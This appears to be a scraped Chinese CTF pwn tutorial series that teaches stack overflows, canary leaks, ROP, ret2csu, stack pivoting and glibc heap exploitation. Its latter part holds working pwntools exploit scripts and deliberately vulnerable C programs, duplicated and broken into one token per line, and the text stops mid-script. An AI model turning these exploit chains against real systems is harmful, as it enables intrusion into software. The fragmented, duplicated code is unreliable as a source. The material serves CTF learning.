做这赛棍速成,其实就是图一乐,真想几天完成是不可能的啦,除非你有一定的基础,不过嘛 我自己学到的东西就这么多了从21-2-1到21-12-1就学了这些了。 --license-- 1.课程全开源 全免费。 2.本课程仅供交流学习,不得用于任何盈利目的,并且因为个人原因使用,转载本课程造成的所有损失及法律责任均由使用者个人负责。
我也不知道我把这些自己录的课程发出来后会不会被人喷说误人子弟,违背ctf初心,但是我只是做一个自己所学的知识分享,希望有错误的地方可以指正我。 还有就是,不太习惯录制视频,视频可能看起来说话会很快让人很难受,前三天的视频我是不打算重做修改的了,第四天开始我会慢慢做的,从第四天开始就是堆的内容了,不要问我为什么不讲格式化字符串,因为这个东西用的少是一点,其实我自己玩的也不熟,就不来坑人了。
附件: 链接:da8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4x3e0k6Y4z5i4S2Z5L8V1I4A6M7p5q4c8e0%4y4K6K9V1N6x3z5h3k6%4b7g2)9K6c8Y4m8%4k6q4)9K6c8s2N6X3k6%4V1`. 提取码:wfgy --来自百度网盘超级会员V3的分享
如果你不会Intel汇编基本,C基本语法 不会Python基本语法 不会linux基本操作 那就先学了再说吧,学会再来看后面的东西
所有报错有问题的直接复制百度什么都有答案了。
linux基本命令,差不多会这些就行了,写脚本自己安装个subl,不会就百度Ubuntu安装sublime
参数的替换自己看两眼就知道
建议自己配套视频食用
下面给大家看下一个最简单的交互脚本
栈溢出这个东西其实就是程序给你划分了一块空间,但是你写的代码允许输入超出这片空间大小的数据,就把你的数据
输入到了合法空间之外的地方造成了破坏,那么在这不允许用户操作的空间之中有着非常多的关键寄存器可以被我们控制
我们利用栈溢出传输数据改变寄存器的值达到代码执行的效果。
这里做个简单的不开启PIE 不开启canary保护的程序 编译后的程序在附件里自己看
canary其实就是在栈插入一个值,如果这个值被破坏了就会有专门的检测函数将程序强行退出了,但是可以通过泄露canary
然后去在栈溢出传入填充用字符的时候一起传进去就可以通过检测达到栈溢出
链接:7d0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4x3q4)9#2k6V1W2*7x3i4W2g2K9@1c8q4k6V1k6@1b7V1&6z5h3s2N6c8c8W2c8c8i4K6y4r3M7s2N6V1i4K6y4p5z5r3t1^5y4l9`.`. 提取码:8b84 --来自百度网盘超级会员V3的分享
对于函数他需要传入参数靠什么完成我想不用多说了,当然你Intel汇编没怎么看也没事,我这讲下。
函数的参数传入分别是靠di,si,dx,cx,r8,r9,r15这几大按顺序完成的
32位中前四个叫edi,esi,edx,ecx
64位中前四个叫rdi,rsi,rdx,rcx
举个例子read(0,buf,0x10);
3个参数是不是,那么rdi=0;rsi=&buf;rdx=0x10;就是这样完成的
这里顺带说下,ax寄存器的值和字符串长度挂钩这点比较重要等下要用
比如read(0,buf,0x10);我满满当当的输入0x10个字符,等read执行完此时的rax=0x10的,有兴趣可以动态调试看看,视频也有在csu讲解的地方录制这部分
(32位的程序是不靠寄存器传参完成函数功能实现,他靠的是栈上数据传入)
最基本的rop链构造,正常的漏洞利用哪有瓜皮给你后门哦,所以啊我们要去构造rop链进行攻击,思路可以大致分为以下步骤:
1.构造rop链泄露libc_base plt->got->函数的真正的地址
2.利用泄露的libc_base再构造一个包含system的rop链getshell
题目
exp
这里我再额外拓展下好了,现在关于C++的题目越来越多了,除了C其实还有要学下C++,很多人觉得C++的反汇编和shit一样
但是其实也没那么恶心,额外拓展可以看我博客
6c1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Z5k6%4u0W2k6h3c8Q4x3X3g2$3K9i4m8Q4x3V1j5J5x3o6t1I4i4K6u0r3x3e0u0Q4x3V1j5I4y4#2)9J5c8W2)9J5y4f1f1@1i4K6t1#2b7U0S2Q4x3U0f1^5x3q4)9J5y4f1f1%4i4K6t1#2b7f1k6Q4x3U0f1^5y4#2)9J5y4f1f1$3i4K6t1#2z5e0k6Q4x3U0f1^5y4#2)9J5y4f1f1%4i4K6t1#2b7f1u0Q4x3U0g2m8x3q4)9J5y4f1f1%4i4K6t1#2z5p5g2Q4x3U0g2m8z5g2)9J5y4f1f1$3i4K6t1#2z5e0S2Q4x3U0f1^5c8g2)9J5y4f1f1%4i4K6t1#2z5e0W2Q4x3U0g2n7c8q4y4@1j5h3y4C8i4K6u0V1L8h3W2Y4M7X3q4@1K9h3!0F1i4K6u0r3
tips:'a'*offset+p64(fake_stack)+P64(leave)
csuinit是一个二进制程序初始化的函数,视频有讲解,这里面有很多对寄存器的弹出,如果被我们利用到了就可以被我们传参去执行我们想要的函数,什么情况下要用csu呢,栈溢出存在但是溢出的非常小,不能构建一个基础rop,这时候就要用到栈迁移或者ret2csu
这里只讲csu和基础栈迁移,栈迁移的进阶玩法下一章再开
对于csu模板的使用要分清情况
这里的话因为我们是要去调用execve而不是让他执行完毕
所以末尾的'a'*56可以删除
还有在fist_csu后面也不能加'a'*8
题目
exp
题目和exp
链接:b69K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4z5s2c8d9c8U0j5J5L8h3u0k6c8U0k6T1j5g2)9#2k6X3S2n7c8o6g2$3g2#2k6m8 提取码:4567 --来自百度网盘超级会员V2的分享
main函数
我们可以去用基础rop没问题但是这个例题只是为了更好的讲解csu的运用
没太多好讲的就是基本的模板题目,主要的是如果不用onegadget的话
拼接system的记得在/bin/sh后面加上ret进行栈对齐。栈对齐一直很玄学对我来说噗嗤。
exp
我的建议是如果有空的话,自己仿照我程序写一些题目自己来做,可以发挥自己探索能力,比如自己结合下第一章的泄露canary配上基础rop自己玩玩,或者说试试看基础栈迁移配上基础rop试试看都可以的,不要局限于我这简陋的教程
下面就举个例子我就不提供exp了想玩的朋友可以尝试下,自己编译自己写
解题思路就是先在pwnme上布局基础rop泄露libc然后栈迁移过去执行,然后再来一次就是getshell,秒杀题。
编译指令
gcc -fno-stack-protector -no-pie -o lowrop lowrop.c
433K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8W2y4g2d9@1V1#2y4o6N6Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0p5H3x3K6x3I4y4e0b7^5y4#2)9K6c8X3!0H3M7#2)9#2k6Y4u0W2M7i4g2W2M7%4c8Q4y4h3k6E0K9i4y4U0i4K6y4p5i4K6t1$3j5h3#2H3i4K6y4n7M7X3g2I4N6h3g2K6N6q4)9#2k6X3W2V1i4K6y4p5i4K6t1$3j5h3#2H3i4K6y4n7j5X3W2*7i4K6g2X3K9h3c8Q4x3@1b7I4x3o6u0Q4x3U0k6S2L8i4m8Q4x3@1u0#2N6r3#2Q4y4h3k6@1k6i4u0E0i4K6y4p5L8r3W2F1N6i4S2Q4x3U0f1J5x3q4)9J5y4f1f1%4i4K6t1#2b7U0y4Q4x3U0g2n7b7W2)9J5y4f1f1%4i4K6t1#2b7V1u0Q4x3U0f1&6c8W2)9J5y4f1f1^5i4K6t1#2b7U0m8Q4x3U0f1^5x3#2)9J5y4f1f1%4i4K6t1#2z5e0c8Q4x3U0g2m8z5q4)9J5y4f1f1^5i4K6t1#2b7e0q4Q4x3U0g2m8z5o6j5@1i4K6t1#2c8e0c8Q4x3U0g2n7c8q4)9J5y4e0S2p5i4K6t1$3j5h3#2H3i4K6y4n7N6i4c8E0i4K6g2X3L8h3g2V1K9i4g2E0i4K6y4p5k6r3W2K6N6s2u0A6j5Y4g2@1k6g2)9J5k6i4m8U0i4K6g2X3M7$3g2S2M7X3y4Z5i4K6g2X3M7X3g2K6N6h3I4@1i4K6u0W2L8X3!0F1k6g2)9J5k6s2c8S2M7$3E0Q4x3X3c8T1L8r3!0Y4i4K6u0V1x3W2)9%4c8h3q4D9L8q4)9%4c8i4y4G2j5X3q4A6k6s2g2%4k6h3u0Q4y4@1g2V1k6h3k6S2N6h3I4@1i4K6u0V1x3q4)9J5k6q4)9J5k6h3k6A6M7Y4y4@1i4K6g2X3M7X3q4F1K9#2)9#2k6Y4j5J5i4K6g2X3M7r3y4Q4y4h3k6J5j5h3&6C8i4K6g2X3N6U0t1&6i4K6t1$3j5h3#2H3i4K6y4n7M7%4m8E0i4K6y4p5x3e0l9I4z5q4)9J5k6e0t1J5x3U0k6Q4x3X3f1K6x3o6l9I4i4K6u0W2y4o6p5^5y4H3`.`.
链接:b32K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4K9g2W2w2x3q4)9J5k6r3Z5$3h3U0u0$3d9V1q4K9N6W2S2t1g2h3!0Q4x3X3c8J5h3r3N6Q4x3@1k6H3N6$3c8Q4x3@1c8%4K9s2j5#2 提取码:whv5 --来自百度网盘超级会员V3的分享
链接:f4eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4M7#2l9&6k6h3c8b7K9@1E0#2P5h3S2z5z5f1y4T1y4$3&6j5y4Y4c8B7N6#2)9K6c8Y4m8%4k6q4)9K6c8o6y4*7N6Y4j5`. 提取码:3zvv --来自百度网盘超级会员V3的分享
堆一直以来都是pwn的一个分水岭,你在CTF走多远就取决于你堆玩的有多骚(别杠,杠就是你对)
虽然实际生产中很多都栈的漏洞,而且版本比较老都是16-18的系统的漏洞,但是CTF就是卷啊,卷死了我才想跑路了的。废话不多说给大家介绍下什么是堆以及堆GDB常用命令。
其实堆你就可以看成一个结构体数组,然后数组里每个元素都会开辟一块内存来存储数据
那么这块用来存储数据的内存就是堆。
结构体数组在BSS段上,其内容就是堆的地址,也就是堆的指针。
总的来说,就是划分为了2部分,管理区块和数据存放区块,存放区块就是堆,管理区块可以对堆增删改查。
off by one
off by null
堆溢出
UAF
double free
其实无论什么题型,最后都是为了在管理区块上有多个指针指向同一个堆,最后的效果都是如此的
min:最小值为0x20 你申请的再小都好 他都会划分为0x20
堆块大小的计算方式:你申请一个0x20的你会得到0x30 0x28的也是会得到0x30 他会自动进1位 原理等下讲
bin管理区块是管理被free后的堆的,是可以被我们利用的
tcache bins: 0-0x420大小 被free后的堆会进入这 填满7个后就不会再往里面填 寻址方式靠fd指针
large bin: 寻址方式靠fd bk指针 双向链表
small bin :寻址方式靠fd bk指针 双向链表
fastbin: 0~0x90寻址方式靠fd 指针 单链表
unsortedbin:寻址方式靠fd bk指针 双向链表
tcache机制在Ubuntu18及以上才有,如果tcache里面有则优先从tcache里面取,如果没有就去对应大小的bin里面取,还是没有才去unsortedbin里面切割。
在堆没被释放的时候堆的有效字段为size,size以下都是我们的content也就是我们可以写入的内容,大小根据程序来申请的size来决定
我们前面提到了一点堆的size的问题,为什么是取16的整数倍是因为哪怕最小的一个chunk他需要的字段都要包含
prev_size size
fd bk
fd_next bk_next是large bin 和small bin 才有的
关于size字段他又存在一个insure标志位我们申请的正常的堆在gdb看见的size字段结尾都是1例如0x91
这个insure位是用来记录这个堆前面的堆是否被释放,这里简单提下off by null的利用假设我的堆本来是
0x111大小的然后前面的堆是没被释放的,但是因为这个漏洞的关系导致了我0x111大小被修改为0x100
那么此时程序就误认为我们前面的堆被释放了,我们再去释放这个0x100的堆,前面的堆就会因为合并规则
和这个堆一起被丢进bins里面,但是我们的管理区块是没有删除他们的地址的,所以当我们再去申请的时候
就会造成管理区块有多个地址指向同一个堆可以造成堆复用进而导致getshell。
prev_size记录的是前一个堆块的大小是只有当前一个堆块被free的时候才会出现的,这个的初衷是用来防止用户串改被释放后的堆块的大小的但是我们依然各种漏洞绕过。
fd,bk指针是当chunk进入到bin里面会被启用的字段,此时他们就是有效的指针,我们可以修改指针达到任意地址申请的效果
利用栈溢出直接修改fd指针任意申请
题目限制大小申请不能获取到unsortedbin的chunk
虽然这个题也可以用修改大小的方式打,但是我这里的教学目的是教大家怎么控制tcache来实现unsortedbin的获取
uaf漏洞任意申请配合打tcache乱杀
链接:d6dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4h3V1H3@1L8U0g2A6L8f1!0I4k6i4R3K6k6g2m8Z5i4K6u0V1y4@1A6Y4x3s2g2c8i4K6y4r3M7s2N6V1i4K6y4p5N6e0k6U0x3b7`.`. 提取码:u6c1 --来自百度网盘超级会员V3的分享
从第五天开始分享就是分享一些堆常用手法,常用手法讲完了会讲一些比赛比较有意思的题,最近hgame就是杭电的新生赛的pwn题我觉得还不错,5道做了4道,有一个spfa算法题搞不定,算法菜鸡
堆的合并检测的绕过讲起来很麻烦,我们这里直接用万用法绕过检测即可
就用这题来讲,我们这里修改大小为0x421是因为tcache最大的大小是0x420,改成这个大小free后就可以避开tcache减少堆利用,而且可以获取到unsortedbin得到有效的libc_base,1是insure位过检测
关于合并检测的绕过就把要被合并的堆里面全填入p64(0x21)直接梭哈完全不用思考
具体其他的请看视频
核心思想:
第一步控制__free_hook
第二步往hook里面写入setcontext+53真实地址
第三步写入shellcode获取文件名然后free掉被写入shellcode的堆
第四步写入shellcode获取flag
源码
exp
Ubuntu20的setcontext不再是从+53开始利用而是从+61开始
传参的寄存器变成了rdx不再是rdi,所以需要用ropper寻找gadget把rdi的内容传给rdx并且去call rdx去执行shell
其他的思路和Ubuntu18差不多,需要多获取的一个就是堆的地址。
exp
链接:e8cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4K9@1S2U0M7V1c8*7x3$3&6q4d9r3W2d9g2i4S2v1K9h3Z5#2e0@1#2V1k6#2)9K6c8Y4m8%4k6q4)9K6c8o6y4C8P5U0p5`. 提取码:3kz1 --来自百度网盘超级会员V3的分享
今天主要讲下hgame的比赛题还有就是hws的题,hws做了2个pwn一个原题一个类似祥云杯的lemon,但是可以非预期掉
我已经准备跑路了,打ctf打的心累最近发生了一些事情,打算好好学算法(已经在刷LeetCode了)然后看下考研考网络空间安全要看什么书。。。提升学历去了,二本嗯,惨。(好好努力,卷死所有人)
所以这个赛棍pwn的课程更新可能最多一❤期2更。
第一个题送分题直接扒拉原文拿了个二血
6f8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2S2L8Y4q4#2j5h3&6C8k6g2)9J5k6h3y4G2L8g2)9J5c8Y4m8G2M7%4c8Q4x3V1k6A6k6q4)9J5c8U0t1#2z5o6f1I4x3R3`.`.
我不会house of banana,赛后问人的exp
题目给了三次任意任意堆地址写入,并且free堆块的时候没有清楚干净可以泄露libc地址和heap地址。可以用house of banana进行堆布局用largebinattack打rtld_global并伪造其结构体,因为开了沙盒64位的open,openat都不能用,但是可以切换到32位的去open,这个的话去年强网杯有考过,找retf改位数然后写orw的汇编就行。
exp
类似2021祥云杯的lemon,如果被套进去打IO就很花时间,要处理一段加密,直接当堆沙盒打就行了。
exp
利用数组越界漏洞泄露libc,再用double free tcache直接改链
签到题,要调试下溢出的特性这里视频会讲,贴个exp
exp
利用多线程溢出绕过canary比对,参考如下
a48K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6W2N6r3g2J5L8X3q4D9M7$3q4C8N6i4u0S2x3e0y4Q4x3X3g2U0L8$3#2Q4x3V1j5J5x3o6p5^5i4K6u0r3x3o6c8Q4x3V1j5J5y4q4)9J5c8Y4y4@1j5i4u0U0N6r3k6Q4y4h3k6T1j5h3u0&6M7%4c8S2j5$3E0Q4x3V1j5`.
exp
栈溢出沙盒,要获取目录名,不难
exp
杭电觉得前面的题对新人不友好,就出了个特简单的送分题
exp
链接:298K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4g2f1y4u0k6U0y4&6f1$3!0j5K9V1c8%4K9q4W2H3k6W2g2$3N6$3&6e0f1g2)9K6c8Y4m8%4k6q4)9K6c8o6N6E0j5Y4t1`. 提取码:7mbr --来自百度网盘超级会员V3的分享
继续回到堆上面,今天主要讲的是off by xx系列的题目,题目全部选自2021强网拟态的线上初赛,都是不太难的题目,可以说这次强网拟态真的是off系列全家桶了,做完这一天的量没几天就要过年了,大家都开开心心过年吧QWQ,更新什么的2月3之后再更新吧
给了个后门,我不会用,直接暴打。
利用scanf传入过大数据会申请chunk的特性,用它来整理fastbin为smallbin
泄露libc,最后利用chunk extend造成堆重叠打free_hook,完美梭哈
(细节看视频)
off by null 也是套路,修改prevsize向上合并,细节方面没什么要考究的,就是个大小计算,其他的看视频看多几次就好了
附件:
链接:f12K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4e0h3k6E0M7X3V1K6e0p5S2t1K9@1V1H3c8g2A6E0g2Y4u0c8k6p5I4#2b7g2)9K6c8Y4m8%4k6q4)9K6c8r3^5J5P5h3b7`.
提取码:n2yd
--来自百度网盘超级会员V3的分享
今天东西就一个,2.33版本的堆申请,2.34的题我想讲,奈何太菜了,没找到相关资料(今年湖湘杯的线上赛题目我没保存,有一道是2.34,祭),how2heap上面的话有点抽象看的。我要是学会了,就会来更新。
(痛苦面具,HWS又改线上了┭┮﹏┭┮ o(╥﹏╥)o)
星盟,国资社畜(你有多想pwn)
先形成tcache然后第一个tcache的fd位存放着tcache chunk地址的左移12位数值,这个值就是整个程序的异或key
其余的堆下次申请地址的时候都会和这个key异或一次。
附件: 链接:3f9K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4x3e0k6Y4z5i4S2Z5L8V1I4A6M7p5q4c8e0%4y4K6K9V1N6x3z5h3k6%4b7g2)9K6c8Y4m8%4k6q4)9K6c8s2N6X3k6%4V1`. 提取码:wfgy --来自百度网盘超级会员V3的分享
链接:3afK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4L8r3W2C8h3h3W2$3K9%4g2G2e0V1k6K9L8f1k6X3e0p5k6n7f1i4S2F1N6#2)9K6c8Y4m8%4k6q4)9K6c8s2k6$3N6s2p5`. 提取码:vvtq --来自百度网盘超级会员V4的分享
apt
pip
rm
mv
cp
cd
gcc 原文链接:https:
/
/
blog.csdn.net
/
lonyliu
/
article
/
details
/
90341012
apt
pip
rm
mv
cp
cd
gcc 原文链接:https:
/
/
blog.csdn.net
/
lonyliu
/
article
/
details
/
90341012
https:
/
/
blog.lao
-
yuan.com
/
2018
/
06
/
09
/
Linux
-
GCC
%
E5
%
AE
%
89
%
E5
%
85
%
A8
%
E4
%
BF
%
9D
%
E6
%
8A
%
A4
%
E6
%
9C
%
BA
%
E5
%
88
%
B6.html
https:
/
/
blog.lao
-
yuan.com
/
2018
/
06
/
09
/
Linux
-
GCC
%
E5
%
AE
%
89
%
E5
%
85
%
A8
%
E4
%
BF
%
9D
%
E6
%
8A
%
A4
%
E6
%
9C
%
BA
%
E5
%
88
%
B6.html
IDA7.
5
或者
7.6
pwntools(自己去官网装或者用我的虚拟机)
链接:https:
/
/
pan.baidu.com
/
s
/
1Aj7z43cOWKoFaIMUxKRoeA
提取码:
4567
-
-
来自百度网盘超级会员V2的分享
链接:https:
/
/
pan.xunlei.com
/
s
/
VMe8S_jNaevdVYO5uJX22SAbA1
提取码:zr5y
复制这段内容后打开手机迅雷App,查看更方便
链接:https:
/
/
pan.xunlei.com
/
s
/
VMe8Sf9s39ZC
-
xdGnH6ONRcmA1
提取码:
8fxe
复制这段内容后打开手机迅雷App,查看更方便
链接:https:
/
/
pan.xunlei.com
/
s
/
VMe8SkH7YXl7Y__TeVzFdAD5A1
提取码:j7ze
复制这段内容后打开手机迅雷App,查看更方便
建议全部机子都下载下来,以后用的到
python2.
7
以上
onegadget
ROPgadget
pwngdb
+
pwndbg https:
/
/
blog.csdn.net
/
weixin_43092232
/
article
/
details
/
105648769
patchelf (用apt安装)
glibc
-
all
-
in
-
one(github有自己下载)
glibc查询网址 https:
/
/
libc.blukat.me
IDA7.
5
或者
7.6
pwntools(自己去官网装或者用我的虚拟机)
链接:https:
/
/
pan.baidu.com
/
s
/
1Aj7z43cOWKoFaIMUxKRoeA
提取码:
4567
-
-
来自百度网盘超级会员V2的分享
链接:https:
/
/
pan.xunlei.com
/
s
/
VMe8S_jNaevdVYO5uJX22SAbA1
提取码:zr5y
复制这段内容后打开手机迅雷App,查看更方便
链接:https:
/
/
pan.xunlei.com
/
s
/
VMe8Sf9s39ZC
-
xdGnH6ONRcmA1
提取码:
8fxe
复制这段内容后打开手机迅雷App,查看更方便
链接:https:
/
/
pan.xunlei.com
/
s
/
VMe8SkH7YXl7Y__TeVzFdAD5A1
提取码:j7ze
复制这段内容后打开手机迅雷App,查看更方便
建议全部机子都下载下来,以后用的到
python2.
7
以上
onegadget
ROPgadget
pwngdb
+
pwndbg https:
/
/
blog.csdn.net
/
weixin_43092232
/
article
/
details
/
105648769
patchelf (用apt安装)
glibc
-
all
-
in
-
one(github有自己下载)
glibc查询网址 https:
/
/
libc.blukat.me
ROPgadget
-
-
binary un
-
-
only
'pop|pop|pop|ret'
可以查询gadget un是文件名字
one_gadget libc
-
2.31
.so
查看onegadget
strings
-
a .
/
un | grep
"GCC"
查询文件编译的系统版本
checksec xx
查询保护机制
ROPgadget
-
-
binary un
-
-
only
'pop|pop|pop|ret'
可以查询gadget un是文件名字
one_gadget libc
-
2.31
.so
查看onegadget
strings
-
a .
/
un | grep
"GCC"
查询文件编译的系统版本
checksec xx
查询保护机制
双击变量看变量地址或者进入函数
ctrl
+
s看各种区段的地址
F5一键反汇编
对变量或函数按x查看上级调用
Ctrl
+
alt
+
k keypatch快捷键修改汇编代码
双击变量看变量地址或者进入函数
ctrl
+
s看各种区段的地址
F5一键反汇编
对变量或函数按x查看上级调用
Ctrl
+
alt
+
k keypatch快捷键修改汇编代码
from
pwn
import
*
r
=
process(
'./name'
)
r
=
remote(
"127.0.0.1"
,
6666
)
context(log_level
=
"debug"
,arch
=
"amd64"
,os
=
"linux"
)
r.recv()
r.recvuntil(
'111'
)
r.send(
"11"
)
r.sendline(
"111"
)
backdoor
=
0x400060
pay
=
'a'
*
0x18
+
p64(backdoor)
r.sendline(payload)
r.interactive()
from
pwn
import
*
r
=
process(
'./name'
)
r
=
remote(
"127.0.0.1"
,
6666
)
context(log_level
=
"debug"
,arch
=
"amd64"
,os
=
"linux"
)
r.recv()
r.recvuntil(
'111'
)
r.send(
"11"
)
r.sendline(
"111"
)
backdoor
=
0x400060
pay
=
'a'
*
0x18
+
p64(backdoor)
r.sendline(payload)
r.interactive()
strcat() 字符串的复制越界复制
gets()无限制长度输入数据
scanf(
"%s"
)无限制长度输入数据
read(
0
,buf,xx) xx的大小大于buf本身
strcat() 字符串的复制越界复制
gets()无限制长度输入数据
scanf(
"%s"
)无限制长度输入数据
read(
0
,buf,xx) xx的大小大于buf本身
#include<stdio.h>
void
main()
{
char
buf[0x10];
read(0,buf,0x100);
}
void
backdoor()
{
system
(
"/bin/sh"
);
}
#include<stdio.h>
void
main()
{
char
buf[0x10];
read(0,buf,0x100);
}
void
backdoor()
{
system
(
"/bin/sh"
);
}
from
pwn
import
*
r
=
process(
"./day1_over"
)retn
=
0x40055Cback
=
0x40055Dpay
=
'a'
*
0x18
+
p64(retn)
+
p64(back)r.sendline(pay)r.interactive()
from
pwn
import
*
r
=
process(
"./day1_over"
)retn
=
0x40055Cback
=
0x40055Dpay
=
'a'
*
0x18
+
p64(retn)
+
p64(back)r.sendline(pay)r.interactive()
from
pwn
import
*
r
=
process(
"./day1_over-canary"
)context_log_level
=
'debug'
retn
=
0x40066Eback
=
0x400657pay
=
'a'
*
(
0x20
-
8
)
+
'b'
r.send(pay)r.recvuntil(
'b'
)canary
=
u64(r.recv(
7
)
+
'\x00'
)
*
0x100print
(
hex
(canary))r.recv()pay
=
'a'
*
(
0x20
-
8
)
+
p64(canary)
+
'a'
*
8
+
p64(retn)
+
p64(back)r.send(pay)r.interactive()
from
pwn
import
*
r
=
process(
"./day1_over-canary"
)context_log_level
=
'debug'
retn
=
0x40066Eback
=
0x400657pay
=
'a'
*
(
0x20
-
8
)
+
'b'
r.send(pay)r.recvuntil(
'b'
)canary
=
u64(r.recv(
7
)
+
'\x00'
)
*
0x100print
(
hex
(canary))r.recv()pay
=
'a'
*
(
0x20
-
8
)
+
p64(canary)
+
'a'
*
8
+
p64(retn)
+
p64(back)r.send(pay)r.interactive()
#include<stdio.h>
void
main()
{
char
buf[0x20];
puts
(
"good"
);
read(0,buf,0x100);
}
#include<stdio.h>
void
main()
{
char
buf[0x20];
puts
(
"good"
);
read(0,buf,0x100);
}
from
pwn
import
*
r
=
process(
'./lowrop'
)
context.log_level
=
'debug'
elf
=
ELF(
'./lowrop'
)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
rdi
=
0x00000000004005d3
ret
=
0x400568
puts_got
=
elf.got[
'puts'
]
puts_plt
=
elf.plt[
'puts'
]
pay
=
'a'
*
0x28
+
p64(rdi)
+
p64(puts_got)
+
p64(puts_plt)
+
p64(
0x400537
)
r.sendline(pay)
r.recvuntil(
'\n'
)
leak
=
u64(r.recv(
6
)
+
'\x00'
*
2
)
base
=
leak
-
libc.sym[
'puts'
]
print
(
hex
(base))
sys
=
base
+
libc.sym[
'system'
]
sh
=
base
+
0x1b3e1a
pay
=
'a'
*
0x28
+
p64(rdi)
+
p64(sh)
+
p64(ret)
+
p64(sys)
r.sendline(pay)
r.interactive()
from
pwn
import
*
r
=
process(
'./lowrop'
)
context.log_level
=
'debug'
elf
=
ELF(
'./lowrop'
)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
rdi
=
0x00000000004005d3
ret
=
0x400568
puts_got
=
elf.got[
'puts'
]
puts_plt
=
elf.plt[
'puts'
]
pay
=
'a'
*
0x28
+
p64(rdi)
+
p64(puts_got)
+
p64(puts_plt)
+
p64(
0x400537
)
r.sendline(pay)
r.recvuntil(
'\n'
)
leak
=
u64(r.recv(
6
)
+
'\x00'
*
2
)
base
=
leak
-
libc.sym[
'puts'
]
print
(
hex
(base))
sys
=
base
+
libc.sym[
'system'
]
sh
=
base
+
0x1b3e1a
pay
=
'a'
*
0x28
+
p64(rdi)
+
p64(sh)
+
p64(ret)
+
p64(sys)
r.sendline(pay)
r.interactive()
def
ret_csu(r12, r13, r14, r15, last):
payload
=
offset
*
'a'
payload
+
=
p64(first_csu)
+
'a'
*
8
payload
+
=
p64(
0
)
+
p64(
1
)
payload
+
=
p64(r12) pust_plt
payload
+
=
p64(r13)
+
p64(r14)
+
p64(r15)
payload
+
=
p64(second_csu)
payload
+
=
'a'
*
56
payload
+
=
p64(last)
return
payload
def
ret_csu(r12, r13, r14, r15, last):
payload
=
offset
*
'a'
payload
+
=
p64(first_csu)
+
'a'
*
8
payload
+
=
p64(
0
)
+
p64(
1
)
payload
+
=
p64(r12) pust_plt
payload
+
=
p64(r13)
+
p64(r14)
+
p64(r15)
payload
+
=
p64(second_csu)
payload
+
=
'a'
*
56
payload
+
=
p64(last)
return
payload
#include<stdio.h>
char
name[0x100];
void
gift()
{
asm
volatile
(
"syscall;\n\t"
);
}
void
main()
{
char
buf[0x20];
puts
(
"name:"
);
read(0,name,0x100);
puts
(
"passwd:"
);
read(0,buf,0x40);
}
#include<stdio.h>
char
name[0x100];
void
gift()
{
asm
volatile
(
"syscall;\n\t"
);
}
void
main()
{
char
buf[0x20];
puts
(
"name:"
);
read(0,name,0x100);
puts
(
"passwd:"
);
read(0,buf,0x40);
}
from
pwn
import
*
csu_one
=
0x4005FA
csu_two
=
0x4005E0
syscall
=
0x40053B
leave
=
0x400597
bss
=
0x601060
r
=
process(
'./csu_mig'
)
r.recv()
def
ret_csu(r12, r13, r14, r15, last):
payload
=
'/bin/sh\x00'
payload
+
=
p64(csu_one)
payload
+
=
p64(
0
)
+
p64(
1
)
payload
+
=
p64(r12)
payload
+
=
p64(r15)
+
p64(r14)
+
p64(r13)
payload
+
=
p64(csu_two)
payload
+
=
p64(last)
return
payload
ab
=
ret_csu(bss
+
72
,
0
,
0
,bss,syscall)
r.send(ab)
r.recv()
payload
=
'a'
*
0x20
+
p64(bss)
+
p64(leave)
r.send(payload.ljust(
0x3b
,
'a'
))
r.interactive()
from
pwn
import
*
csu_one
=
0x4005FA
csu_two
=
0x4005E0
syscall
=
0x40053B
leave
=
0x400597
bss
=
0x601060
r
=
process(
'./csu_mig'
)
r.recv()
def
